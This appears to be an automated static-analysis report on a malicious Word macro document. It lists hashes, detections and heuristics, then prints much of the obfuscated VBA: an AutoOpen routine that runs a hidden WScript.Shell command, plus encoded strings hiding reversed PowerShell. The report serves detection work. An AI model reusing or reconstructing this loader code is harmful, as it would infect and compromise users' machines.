Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d81a6dabf46b6bc1…

MALICIOUS

Office (OLE)

148.5 KB Created: 2018-03-16 13:42:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 99cff1e9dc174682e1d97097a5cc87b4 SHA-1: fc5293d82d0ec6d4f69684e971407634a07badb7 SHA-256: d81a6dabf46b6bc1d5db6698709f67540a4e449aa91c1263eaba3ed27c9added
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros with an AutoOpen function, indicating it's designed to execute automatically upon opening. Critical heuristics indicate the use of WScript.Shell and Shell() calls, suggesting the macro attempts to execute arbitrary commands or download and run a second-stage payload. The presence of a long encoded blob and a reference to 'macros.bas' further supports this. The specific family is not identifiable from the provided evidence.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          VLQIz = oWDBFB / NoOsm
      DGmrlCwE = "WScript.Shell"
      BOvhi = Joqlqd + vdrwc
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          LCdMA = VKuiiw + VKXRT
CreateObject(DGmrlCwE).Run JfIBAWIpBRYRR + Chr(VBA.vbKeyC) + zviczhDjQ + oijcOcrJfuPC + zYvJEXv, vbHide
      kDAdqr = Hex(TsVRQ / Int(18943))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "VNkMbdzrXSwli"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36321 bytes
SHA-256: 35f9d11ad90e4c983b7508866e08bc6cd55c9ac9f6e5e6d2a343898144f2b450
Detection
ClamAV: No threats found
Obfuscation or payload: likely
655 of 1110 identifiers look randomly generated (e.g. 'nuLADA3AgMAQGAzAQNAQGA2AANAIDAzAgNAMDAxA') — consistent with name-mangling obfuscation. Carved artifact contains 26 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rJKiQLNFIjzkI"
Function fkYXmTAFPDsJ()
On Error Resume Next
      ZULfAX = Hex(WOQAkB / Int(29263))
      mdJOqO = jZiwz / rZzPXE
      YzTjU = UQckJ + fztznu
hNrUNYjjwzz = NUIEhN("U9.jAwhBAMAUDA5AwMAADA4AAMAUGA2AQNAcDA1AgNAMDAyAwYAEDAw,Zm", 4 + 0, 49 + 0)
      YVolB = Hex(YzfpT / Int(71863))
      zvKnJ = tVtnEo / GUdwb
      VMjzk = SiwXp + Izwskp
      iYHEO = Hex(vvzwF / Int(54260))
      zZKqfR = bsNJfz / XTono
      MEqZt = zvfZr + izWGi
FIzICjQstVE = NUIEhN("NPuI%AcDAkBQYAUDA3AAOAQDAzAQZAADA5AwNAUDAyAQNAEDAzAgNAMDAlBwYAkDAzAANJ%", 3 + 0, 64 + 0)
      jiwnpL = Hex(YRfYcJ / Int(17296))
      JZsil = dRjvTV / AzBQo
      GJUZP = bUlTXC + ikVYd
      jYJwd = Hex(FvzDYX / Int(27480))
      sjEhb = TCdjAX / iSwEQ
      IdmEF = ZwWvn + rdfFai
MoraHLRzz = NUIEhN("VvBN%%YAMGAmBwNAYGAzAAZAEGAwAAMAQGAzAQNAIDAmBANAEGAkBgYAEGA5AgYAYGAwAAZAcDAwAwYAADAkBAOAEDAxAgMAQGA5AgMAkDA2AAMAMGAhBQNAQGAlBwNAYGA5AAOAkDAkBQNAIDAkBwYAQGAhBgYAMDA2AQNAUGAjBwNAMDAkBAZAQGAkBwNAYwq", 3 + 0, 186 + 0)
      IcGdvZ = Hex(GUXczw / Int(15913))
      GdFfw = BmzHp / Jtscs
      THiBz = iKOFbt + pZaXBA
      PvTdvt = Hex(EvDTqB / Int(93805))
      qHnRi = WLsPU / YYoHWL
      chqCK = NpGnR + mtUIrX
DoMMt = NUIEhN("uXAkBgZAUDAlBQZAQGAiBwNAMGAkBgYAUDAzAAOAIGAxAwYAQDAhBwYAQGAkBwYAMGAhBgNAEGAwAQYAUDA4AgMAgDA4AwMAYDA0AQNAMGi.rXn93", 8 + 0, 104 + 0)
      sjsjaN = Hex(RSjGvz / Int(59567))
      TjAFd = VWPXao / iDPwjm
      VjzPo = zuJzrU + mZkIlu
      jvTZz = Hex(IoUUjq / Int(78718))
      wOsFW = uqhjqK / ToLwC
      zAAdo = wYHFca + hoREl
MRhqzkSnAw = NUIEhN("WAwNA8CA8BgM5435a05061b3143240f3476111d29467'($ (ISNAcOllALabOLgOTgnIRTseRUces::]laHSrAm.SeCIVRESPORETnI.EMITnur[ (isNAGNIRTsotRTP::]LAHSraM.SecIVrEsPOREtNi.EMItnur[(SRRp", 5 + 0, 164 + 0)
      zTHsOj = Hex(pvoAIX / Int(61862))
      rSwlD = ZJnkF / idNBj
      zDzqI = tGqAjG + EulqWT
      YqDHiq = Hex(TzizfZ / Int(76675))
      mfGhj = HBEbp / WkUjKB
      CumsEz = oOWbLj + lJSaz
MvHazzAVi = NUIEhN("oUP3AlBgNAUGA5AgMAMGAxAQNAkDA5AQYAIDAhBAMAgDAyAQZAEGAxAQOAkDAkBwNAIDA0AAOAYDAhBQMAYGAkBAOAUDAkBQNAYGAmBQZAYGAmBgNAEGAwAQOAQGA5AQMAADA3AAMAcDAyAQOAQGAwAQNRj", 3 + 0, 149 + 0)
      MRpwjo = Hex(DjcBn / Int(58416))
      kLzmCk = hsfcPJ / lbBGNX
      lFnMQ = qElVoj + cZKfYM
      XfwkaI = Hex(TtSQwf / Int(71421))
      uwkOjk = GFNoz / qIEalv
      WVOGY = MMYoQ + pVsNIQ
MFYwJi = NUIEhN("3MuOj1AAMAEDA3AwMAADA2AQYAYDAhBwMAIDA1AAOAIGA0AAZAEGAzAwMAQGAiBAOAMDAjBQYAMDAlBAMAYDAiBgNAIGAyAwNAkDAlBAOAYDA4AgYAADAwAQYAQDAyAwNAMDA3AQMAADAjBgZAEDAlBwYAIDA0AgYAEGA0AQYAUGA1AAOAgDAkBANAADA1A", 2 + 0, 185 + 0)
      pFZqW = Hex(JpdlOq / Int(20351))
      NLYiip = YFiRz / JXwuvK
      GRwfr = PijbJ + FKbJTf
      ZltiA = Hex(CCSFZw / Int(69405))
      Pzlzj = zHFJn / tsCll
      kpqpc = GHGOmt + FLTYj
fvZujSwMGV = NUIEhN(",vqpAmBQZAEDAjBwMAIDAiBANAADA0AgYAUDAiBAZAYGAjBQZAUDAwAwMAADA5AAOAIDAmBQOAIGAyAgZAQDA1AQYAUGA5AQMAUGA4AAMAEDA3AAZAMDAzAAOAIGAxAANAMDA0AgMAcDA1AAMAIDA4AQZAQDAhBAOAIDAyAwpFWd", 5 + 0, 164 + 0)
      opRLR = Hex(kudiKA / Int(62786))
      JLuMZ = BtcLk / LHiKZ
      VNwbT = ZJrqcZ + NGYsuR
      qTUcW = Hex(dNKZO / Int(63341))
      mJnbm = ltwmc / WEYzuJ
      FkamO = iqYnJ + UiXXj
WRsdFiEvd = NUIEhN("Wj,vAANAQGA0AAOAkDAwAQOAEDAzAQZAgDA5AgMAIDAmBgMAIGAiBAOAUGA3AQOAEDA4AQNAgDAzAwMAkDAiBgZAMDAzAgMAIGAyAwNAgDAmBAZAADAkBwMAUDurBl1", 6 + 0, 118 + 0)
      GuKmj = Hex(hswAPF / Int(26218))
      QNbXM = YQINN / odIAz
      sjoPpS = iFWOd + TZttGD
      OqwQPk = Hex(uokdq / Int(37453))
      TmrBL = hPhWj / SbdcI
      WDfoja = CFQqLf + Ozhbll
owhivKh = NUIEhN("DvadDA5AwNAbq", 3 + 0, 7 + 0)
      zzzJb = Hex(LSZQLb / Int(79054))
      QWiDR = JQQZWr / pUuCq
      WWFjf = qOjjA + jqIwaC
      idlIdj = Hex(JpCbR / Int(58948))
      HatnZP = PDKoRB / AwDic
      PmurFB = uwhWZa + iINlq
DhDhOJjFaV = NUIEhN("JOnOISSERpXe-EkOvNi|) ) zwLjf", 6 + 0, 22 + 0)
      GTaaU = Hex(hCIsz / Int(95678))
      kaUjBh = onSVn / qhWrj
      nXovL = XtTYl + hZjqt
      UMTAl = Hex(rJbjB / Int(61197))
      OjXjT = AMFZMA / uDHDIq
      sDHZU = iXITf + jWDjcl
XjTTFzw = NUIEhN("VsrnwAQGAmBAOAEDA0A1PLq", 5 + 0, 14 + 0)
      cXMPm = Hex(AwanC / Int(46294))
      LWTKcw = KJcEm / NRTrWf
      pNmfo = RTMEj + vFmNC
      jIGOi = Hex(PBUlaC / Int(57210))
      FLVfq = ZVEGX / TObPkm
      KPnawf = ukkhDJ + dOCiY
wzJVWavrNB = NUIEhN("sI7DAxAgNAYGAjBgMAYDAiBANAADAlBAMAgDAjBQNAU8XUKoL", 7 + 0, 40 + 0)
      ElLEz = Hex(vHAaFB / Int(77761))
      SFSlY = PSokW / NipzY
      MltYEj = GjTtJf + PEmXwR
      ijotv = Hex(XzzcPE / Int(90637))
      AffMuJ = JVKFA / MFqJpZ
      iaCOth = YujENF + uWVqJ
KczDrFAwH = NUIEhN("ZvAQYAMGAhBAMAkDAzAAOAEDA4AAMAIGAwAQZAQGAjBQNAQDAxAAZAYGA2AQMAMDAkBwNAUDAiBgYAMGAwAwMAMDAlBAOAQGAyAAOAYGAkBgZAYGAjBQMAMDAmBAMAYGAkBgMAMDAiBgZAEDA5AwYAEGA2AAZAMGAmBwNAEGA5AwYAQDA3AwYAIDAmO%bFb", 7 + 0, 183 + 0)
      RYLio = Hex(lKsGSZ / Int(58211))
      MadRTM = iOpGr / nSiUTj
      jFPXZ = wkjnOi + IuUtEX
      faLqnu = Hex(oBDtD / Int(13807))
      NwCom = zBfNci / drizh
      cCIjG = RzFTR + FjCwS
zrdnN = NUIEhN("%3gYAQDAiBAOAcDA5AgYAkDA2AQMAEGA2AQZAcDA4AQMAQGA1AwNAEGAmBAMAUGA4AwMAYGA4AwMAkDAmBwYAcDA2AQMAMDAmBANAEGATM9EzA", 7 + 0, 102 + 0)
      aiWpd = Hex(zOIUbz / Int(37251))
      MoiNF = woVvr / OFWvWj
      fXzsn = Olsrw + IzLvQ
      biBKJj = Hex(TZtzW / Int(51718))
      lcjpvW = zObRFN / GiZhw
      HpMqqq = VOJOpC + zukPH
pJjHlvLITU = NUIEhN("BpobNAUGAxAwMAADAwAwMAMGAjBAMAUDA0AwYAcDA2AgNAYDA3AwMAQDAwAQlM%", 4 + 0, 56 + 0)
      zdQZtE = Hex(oMrUS / Int(51803))
      VwPqwF = ciFMc / IPLwK
      DfdZn = mTJIXp + OGjCiu
      JJCMZ = Hex(iLjjLW / Int(13820))
      hiCoGi = wSidi / YppPi
      iiVAp = kasDMk + wHdomb
QBPJLaBzz = NUIEhN("Vzu,DAxAwMAMGAhBgYAgDAwAAZAIGA0AAMAMDAzAgMAUGA0AQYAgDA3AgNAADAyAAOAMGAiBAOAEDA2AgMAEDAjBgYAMDAzAQNAMDAzAAZAYGA1AgYAMGAmBQZAQGA3AgNAMD,qAS8", 6 + 0, 129 + 0)
      KCKrY = Hex(rQFVrT / Int(57315))
      YzMiN = VDNvF / wlIuAC
      SrjXdc = oUVWM + GMXIRJ
      mpXpLB = Hex(AjSwjK / Int(43795))
      LtaTGR = EdXLBI / cNpCjL
      AIVXz = JpkuB + GfIsZw
paYlu = NUIEhN("XEjFL6NAkDA5AAZAMGA0AAMAMDAhBQOAQGAmBQYAQGAhBgZAkDAmBAOAUGA5AwMAIDA5AQNAYDAxAQMAUGA2AAOAEDAxAQMAEDA0AwNAQGAwAQMAQGA2AgYAMDA3AgZAUGAzAwNAUDA2AgZAIDA4AwYAQ3", 2 + 0, 147 + 0)
      wluSz = Hex(jIGEGh / Int(57522))
      dLlFv = PjOsd / NBMUU
      DLORG = VXQuDk + MXddUX
      XMcai = Hex(DGcVih / Int(14141))
      MBPbi = avdzjO / jBOjzS
      MaQNqT = CaSYVM + kPlUYC
BddjkQXEQF = NUIEhN("8Uo=AAlBANAUmmuo", 5 + 0, 9 + 0)
      bjiqUp = Hex(FNpiO / Int(19888))
      mkCkL = XUKZOB / zldLb
      RkrmW = iiwNc + HCiwfi
      RnMoww = Hex(iowqUw / Int(49716))
      Iimcdc = XjjqP / wCGZJZ
      OIrPi = HmXds + nusFO
tFNYsEAYLzl = NUIEhN("nuLADA3AgMAQGAzAQNAQGA2AANAIDAzAgNAMDAxAgNAMGAiBwMAUDAwAgMAQGA4AwNAEDAwAAOAQGAjBwNAgDAyAANAcDAkBwNAcDAwAwNAMDA1AgYAUDAkBwNAUDAxAQMAQDAmBgNAIDAjBwNAkDA4AgZAIDA2AgYAIDAZj", 3 + 0, 162 + 0)
      SALPc = Hex(Giokl / Int(84493))
      KYKiA = XuHUTA / oUcuF
      sRrZDz = jIzhWB + MhwcQs
      rAnFFq = Hex(taitqd / Int(43778))
      wKnqdF = oWaJf / aqbpJ
      lSzdT = wSobW + acJrwH
BNFKZN = NUIEhN("owdVAhBAMAcDAlBwYAIGAzAAMAQGAwAgZAQGA2AANAYGA2AQYAEDAyAgMAEGAyAgNAQDAkBgNAEGA4AwYAUGAzAQYAEGAmBAZAEDAhBgZAIDA0AQNAcDAhBANAElu", 3 + 0, 119 + 0)
      kljLQ = Hex(vKOSjC / Int(7624))
      NkTwhU = imTMzA / CIjuUl
      iCGjw = skzEY + sMsqs
      FDPjKP = Hex(zwjXu / Int(1747))
      SzqzHT = wivXnr / EoCvY
      YVQGK = pALEAu + zZNLzh
pSUnH = NUIEhN("Zmp51GGMAMGAhBgNAUGA3AQNAUDAhBgMAEGAxAgZAEDA0AAOAEGAiBgMAQDAzAQMAYDAwAgYAQGA4AgYAQGAkBQZAwHA9AQPAEEA0AAMAQFA1AQNAQGADBwaAADA2AAVA8CA2AQRAwEA1BQcAYDA3Aw", 2 + 0, 143 + 0)
      IIZTMX = Hex(wuKdc / Int(41035))
      PwhjoL = mlavdq / zrcFNo
      Qwwun = rFBaY + Kjcjb
      vdPwNL = Hex(YuPNo / Int(19481))
      uGzYf = UPKna / vjiYkI
      mWMYC = UzwicS + LjAzGm
itzHNQ = NUIEhN("wVGGoRM9NAcDAjBQOAADAhBQZAIDA0AANAUDA0AAZAYDA5AwNAMGA2AgZAcDA4AQNAIGAwAAOAMDA3AAMAcDAyAAMAIDAjBgZAMGAzAQOAQGAmBwNAIGAlBQZAIGAyAgNAMDAlBANAYGAzAQNAEDAW", 2 + 0, 141 + 0)
      pafTcW = Hex(QRuWi / Int(9817))
      Xviium = FWhhU / cOiiRw
      WLqtv = MDhDLw + MolSR
      hzQLF = Hex(iORoT / Int(22512))
      niGYpb = PFonE / fmHjtp
      UvhiO = lFOkLp + afTtJj
riRupKGcwo = NUIEhN("nNsGA0AAOAYDAmBgMAQDAwAgZAkDA2AAMAEGA0AgMAUGA4AwNAMGA2AANAYDAlBQOAEGAxAgYAQGAyAwMAADAzAwNAQGAiBwYAUGAzAgMAUGAxAQNAMDA0AAMAUGAjBAOAADAkBQNAcDA5AwNAkDAhBAOAUDAkBwYAEDAyAAZAYDNqp", 4 + 0, 169 + 0)
      jwcJcG = Hex(tsHivd / Int(76243))
      rAXJOq = BUcwG / ASNaJ
      rXSYGI = rNHCP + KwnTW
      lptjz = Hex(jXjDh / Int(34009))
      HmahzP = UXjDQR / MMfDs
      AFPFX = uUSkp + wjUPH
KmBthz = NUIEhN("M3v8W,AAZAMDA5AwYAEDAwAQMAIGAiBQZAYGA4AANAcDAjBAOAYGAmBwYAI@", 2 + 0, 53 + 0)
      hFEtN = Hex(pTiGT / Int(21236))
      zoGwB = UJvUF / ntjUi
      zFOWnG = rJQET + AHfpiq
      asQwzG = Hex(asRqQ / Int(75186))
      QalFaw = Rwnvk / hMOHV
      zWPOjC = wTFBS + hEarBc
TcnEoDC = NUIEhN("FG6GWW5AQOAYDAwAwMAgDAyAQZAcDAyAgMAQGA3AwNAUGA3AAOAEDA1AgZAEGAiBAZAgDAmBgX", 2 + 0, 67 + 0)
      AdJtd = Hex(OpZNd / Int(18541))
      incBM = CXCuL / UACNHV
      fEhWN = kjnNW + crzLu
      QdAFz = Hex(nYcaXt / Int(84475))
      iZonhv = SsAkqR / uTMHo
      uzLpE = WKpUrw + jYRwOW
JpJZKZqmj = NUIEhN("sLRR3AQGA2AANAUDAwAQMAgDA2AgMAQGAhBgYAQGA0AAMAIDA5AAZAQDAkBgNAIDAiBA1qm", 4 + 0, 63 + 0)
      iwlAUI = Hex(PiINQ / Int(9372))
      ifNwi = YRcXIo / hzdXwl
      uwNLU = QGjhGa + aBtDzf
      ipBDb = Hex(zZmAV / Int(34210))
      XHZESE = CKGwMf / nuXJJ
      ITdrw = WiXXi + tjDBX
WwOVNC = NUIEhN("zMFbNSYAADAwAwNAcDA1AQYAUGAwAAOAEGAmBwNAMGA1AQOAYGA4AQNAIGA2AQYAADA2AwNAEGAxAwNAIDAiBwMAUGAhBwYAEGA3AgYAkDAwAgZAYGA3AQZAYDAlBgNAIDAzAQOAIDAiBAZAIGA4AgNAMDAwAANAYDA0AA,lu", 4 + 0, 160 + 0)
      UnOQX = Hex(CrwCJf / Int(28427))
      MQVDii = HiTin / hSzzl
      DpWms = voGPTU + IrEdKA
      aQZzBD = Hex(qOoIHZ / Int(74037))
      GavHG = azKOn / ZQpOK
      qUwwsu = XnivAw + owTwqO
vdQHSm = NUIEhN("bv7UAANAcDA5AgMAEDAlBgYAMGAwAgYAUDAlBQOAADA5AAZAcDAlBgMAUDAmBQMAQGAlBQYAQDAiBgNAcDAkBgNAIDAxAQYAADAiBwYAMGA2AgYAIDAkBwMAMGAiBwNAIGAzAQZAYGAzAgNAkDAxAgNAUKF", 3 + 0, 149 + 0)
      qATPjN = Hex(IZYazK / Int(68032))
      aJhAL = UvCKSE / bzrXv
      AUfjJ = APOGVC + AWYJQp
      kTQOIz = Hex(XZGiLz / Int(24501))
      AfiGT = FwSwpj / rwfLb
      DzwUp = QGEhXI + prhzW
CCWJX = NUIEhN("K%zAgMAUGA2AQNAEDA5AgNAIGAyAQMAMDAjBQOAcDAhBgZAADA0AAOAQDAkBgMAUGAhBQNAMDA2AA.Jclu", 6 + 0, 75 + 0)
      briVz = Hex(SQcja / Int(51141))
      ktIQB = pSDoB / vpirT
      zJmzP = cAEWX + adHAXR
      nQDdk = Hex(iKVTdi / Int(49452))
      FAdOU = XqcpU / kPLmB
      dVJWa = dObfj + iiBAKr
iGYGOAiqdJY = NUIEhN("oOAZAQDA3AgMAcDA5AgNAEGAhBQNAMDAkBwYAgDAzAgNAEDA2AANAgDAjBAMAADA4AgZAcDA4AQZAYDA2AwYAEGA3AQMAIGA5AgYAYDAiBAOAkDA4AwNAADAiBQZAEDA1AgMAEGAlBgGWRrl", 6 + 0, 137 + 0)
      ajsuwo = Hex(IiMSw / Int(67471))
      RBEEj = ZkGqsH / KqFkFU
      bdkbN = MvzCIj + KNczw
      TIDBL = Hex(mIoUXC / Int(75027))
      DzGibN = psDXJn / bYQnc
      lRzfs = hiufiC + EjbnWK
EUOtk = NUIEhN("WqRMAYGA3AQZAIGA3AQMAYDA3AgMAYDAkBwYAIGA5L6Ru87", 7 + 0, 38 + 0)
      WiQAi = Hex(pbjQE / Int(67767))
      Wzmzbp = fzuNUV / jfzkud
      tHBzB = HGBdbz + HHtcMj
      WOdSUb = Hex(sJdtmj / Int(82040))
      vGhKd = WAKrU / JXBVzF
      kBwzw = jGUhQU + RzLKF
bpoUBz = NUIEhN("wIqcobVDA3AwNAcDAlBQOAcDAwAQOAgDA3AgMAgDAxAQZAQGAwAANAIDAkBQMAUGAwAQYAYDA2AgMAYGAzAgYAIGAjBQp", 2 + 0, 85 + 0)
      DMANT = Hex(AqaVIH / Int(92594))
      jGBwGk = zMCTuX / TLLqP
      BnkndX = rFkLZT + jLwNDV
      ABzMZ = Hex(dTjETN / Int(50510))
      OjrFwa = rMPjP / mFNcE
      sOWIoZ = wvTILk + DqCdK
YfjAfuZw = NUIEhN("wVuAkBQZAEGAhBAO2U1fG.", 7 + 0, 13 + 0)
      MKJoi = Hex(JBrOTb / Int(27418))
      hRrYD = DiKXED / FWvCjS
      jiFiaL = tEjAj + Qcmwia
      SJGBkF = Hex(IIqacX / Int(84536))
      GmXjk = IjpDX / NjciWI
      oMGJn = bmqzAr + wDkYfc
FSwGzMI = NUIEhN("juA2AQMAgDA4AAMAcDAlBQMAMGAyAAOAUGA1AwMAcDA2AAZAgDA2AQOAMGAlBgYAYGAwAwMAQGA1AAZAYGAwAQMAQDAzAQNAEDA0AgZAYGA1AgNAADA3AAMAMGA3AANAADA2AQYAEDAJZXO,", 6 + 0, 137 + 0)
      cKcRw = Hex(QlZfM / Int(7273))
      QDAzd = sJhSip / vsKwE
      uoiijp = bbpNK + wXKsDl
      rwOFhZ = Hex(FzLjU / Int(72952))
      PrmJCr = ccdtaO / ooWfL
      moEltJ = czUsA + pvHPsk
vznuUpoFMqT = NUIEhN(",NNpAfAgYAIGAkBQZAQDAiBwNAgDAkBQMAADA2AgZAYGAxAANAEGAyAwMAkDAjBQZAEGAhBAOAADA3AwYAkDAwAQMAQGAhBgNAIDA2AgYAEDA4AwNAYDAzAAMAcDAwAQYAIGAwAwYAYDAhBQYAcDAhBgNAQDAxAAOAUGA1AQMAQGAkBAMAEDA4AgMAID2j", 3 + 0, 182 + 0)
      POVkLH = Hex(LRJpA / Int(17418))
      ramAP = SDdHlt / ZShYdv
      QXSUam = MKqfrr + wUUPd
      zQwjm = Hex(jIItw / Int(93646))
      KTAFzl = TQuBDX / fJjmw
      JEYARY = SdwVi + LNHJw
iJiDmuXHdAf = NUIEhN("uVw3.FfkDA0AAMAcDA5AgMAIGA2AgZAUDAhBgMAADAhBQZAkDAyAQOAUDAjBQYAIDAyAgNAQGA1AQOAIDA0AAOAUDAjBAZAEGAjBgMAEGA0AQMAIDAyAwMAkDA5AAZAcDA2AAZAUGAhBQNAMDAkBwMAUGAzAwYAMGA5AwYAQDAzAgZAADA0AQOAMGAkBQNAQDAmBANAEDA%", 2 + 0, 195 + 0)
      wujhW = Hex(dPPBwZ / Int(12501))
      zaGvA = bkUpTY / pLpYz
      PzCZWC = oJlQf + PcNkG
      aoUzL = Hex(RdMlWL / Int(84477))
      tdUpT = vsPwn / SVXbAC
      OzisJS = EGEDJB + jYfoiC
IXbNjKbC = NUIEhN("7w,SDAkBAZAQDAhBAOAkDA5AgZAIDA4AQOAgDA1AgYAMDAiBgZAEGAxAwMAUDA0AAMAgDAlBANAEGA0AgMAUDAjBgMAMDA5AQNAMGAhBQYAUGAhBwNAEDA4AgNAMGAjBQYAQDA3AAMAkDA4AgNAEGAjBgYAcDAmBQYAADAmBQNAcDAyAgNAEGAzAgYAUGAlBwMAXFRO", 5 + 0, 191 + 0)
      ahYYL = Hex(VvFkkU / Int(30099))
      NOlLWr = onMmm / lzsmRz
      nPFUzk = IAUSp + FTKtdM
      PipnOk = Hex(wubwZ / Int(95546))
      VuiQGD = ZtzzGw / ikqsa
      muZmLf = iYNbYT + tujOEk
JrNusjhkVR = NUIEhN("79NAcDA5AwMAQGA2AANAEGAwAAMAUGA0AwYAYDA5AQNAIGAmBQNAcDAkBgMAgDAiBgMAQDAkBwYAIDAiBwMAIDAmBAOAIGA0AAOAcDAwAQYAEDAwnbVOF", 6 + 0, 110 + 0)
      poqnHm = Hex(OJkEwF / Int(98985))
      UsEaGQ = fXanY / nBbnpK
      GiwDtV = OdXaN + SZrJii
      uXVIS = Hex(MMfit / Int(65538))
      ZPaMJ = RiGrw / nOpcH
      zVTdaS = puhCWY + ipqTm
qQlcJt = NUIEhN("AV%Mp4MAQGA2AwYAYGA5AQNAUGAjBQYAQDAmBAMAUGAkBQYAkDAmBAOAYDA2AwYAUDAkBQMAUDAwAAZAgDA5AwNAYDAlBAOAIfi", 3 + 0, 91 + 0)
      hufVof = Hex(ifnWk / Int(46844))
      tMmwp = XTSkb / TWuzXW
      VwFqzp = tGKGLS + TjRCud
      WMXwjV = Hex(lrpzh / Int(63964))
      JvKiMa = TVfHq / Epzki
      bQXsw = vHAaX + cFzzn
toXfvXB = NUIEhN("vSvNAUGAlBgNAIGAwAwNAgDA1AgMAgDA5AAMAMGAzAQNAkDAiBAOAYGAlBAOAQDAiBwMAYGA0AQYAUGA2AgYAUDA2AAZAQDA0AAZAMGA5AgMAUGAkBgMAEDAjBgUbv,2", 6 + 0, 120 + 0)
      vzAUDq = Hex(rqSJvr / Int(8433))
      NFZmD = HQTRs / QilFGC
      okTGN = AHjdzE + TwPzXL
      iIwXd = Hex(Cbwum / Int(41554))
      lSlJcM = ZPwHk / jSnrND
      nCMPW = ozmKCh + VpViS
PZCzzjYHPHr = NUIEhN("1jVdrtRJMAUDA4AQNAYDAyAQZAQGAzAAMAcDA2AwYAYGAmBAZAgDAzAwNAQDAxAQYAMDAkBgMAMGA5AQYAMGAlBgYAQGAxAAZAUGA0AgZAQGAhBQYAEDA1AQOAEDAxAwMAcDA2AwNAIDA4AwYAcDF", 2 + 0, 140 + 0)
      jJsPKr = Hex(tSknHj / Int(66488))
      AjGVn = YBnEwa / OuzJYi
      svnCY = oVPwDV + qUFPIf
      jzFJUf = Hex(qUiiW / Int(77437))
      TCNaT = RrYOX / fXfYBq
      WrhBNv = izJGEi + VjCdnz
ZzzHuV = NUIEhN("psXGA5AQMAMGA2AQMAMDAwAANAIGAlBQZAkDAhBwNAIGAlBwYAQmLS", 4 + 0, 48 + 0)
      XrYqm = Hex(zfKvcn / Int(47089))
      cmAAf = USiRKo / KrduN
      mzzIKb = dDoNi + KYttB
      vWXBW = Hex(XYFWz / Int(64736))
      NKiVT = jqKqP / BcGEi
      jnzIYb = DfwPN + ZIoWwh
kQHDokFuhC = NUIEhN("OVjBQYAADA1AAZAUGAyAAMAMGAmBwYAkDA3AwMAADAjBQOAYGAjBQZAQDAmBgYAIGAyAQYAUGAlBgZAADAjBwYAUGAxAwNAIDA2AgZAYDA0AgMAEDA0AAOAEDA2AANAQGAzAwNAYGAiBgMAUDAlBwMAUDAmBQZAIGAyAwMAADAxAwYAEDAyAQOAMGA3AAZAUGAlBwRFkXU", 6 + 0, 195 + 0)
      EhwVl = Hex(IcVjRT / Int(45675))
      SuRFlG = PXjbzO / RNGHXN
      wqiWsS = izivpo + NXQMa
      cvutEI = Hex(KUiCUU / Int(3150))
      OiHqEA = KHjhj / zGBnYi
      wqONa = owldFi + lalwHf
mERfP = NUIEhN("rjZAUGAmBAMAgDA3AwYAcDA3AgZAADA5AgZAEGAmBgZAQGAzAQZAUGA1AQZAADAkBgZAcDAlBAZAYGA0AAOAUDA1AAOAIDAhBQOAMDAxAwNAQDAwAwYAEGAwAAOAgDAhBwMAcpL.4qlV", 8 + 0, 131 + 0)
      QlnJXb = Hex(NNhPvl / Int(94492))
      XQtQPL = Zidwh / WVCfs
      oKDEq = NblDNK + BwDVEr
      wjwoM = Hex(nskqwN / Int(26956))
      JGBMvq = OAsfj / VtIWP
      OlsvE = iaDmCj + MBNWZa
wqWzVjhcRlp = NUIEhN("SP) )681,021,311,012,37,201,632,402,25,47,501,291,44,52,32,841,54,86,02,741,931,92,281,45,091,012,551,47,302,191,48,15 ek- gnIrTsErUCeS-oTTrevNOC |'=LjP8K", 6 + 0, 147 + 0)
      VvkjDI = Hex(aRzcTh / Int(99477))
      NRLzNM = BcwIv / LHWjw
      rSAIr = SHJEKi + kMowL
      nMHUB = Hex(LjcuY / Int(39604))
      SYlZCC = iCBAK / YkFVJC
      IdLsd = RiQbza + FTmkjR
bRJrD = NUIEhN("2Uwuq1AANAEGA5AwYAkDAzAAZAIGAzAgYAEDAyAQYAgDA0AQOAYGAkBwMAQGA5AAZAMDA0AgMAMGAhBQNAIDAkBANAMGAzAwMAQDAhBQMAEGAjBANAQDA4AgNAMDAiBwNAEDA5AAf", 2 + 0, 131 + 0)
      RjlKHK = Hex(fbiHl / Int(41737))
      XpMtw = lcSaD / OZFzU
      sUBZsB = TSlDlU + FuiiZ
      oQRFGY = Hex(zFJYRZ / Int(13039))
      Juofaz = cfqvP / TtZPY
      vQzcD = JPfvrv + zEwnk
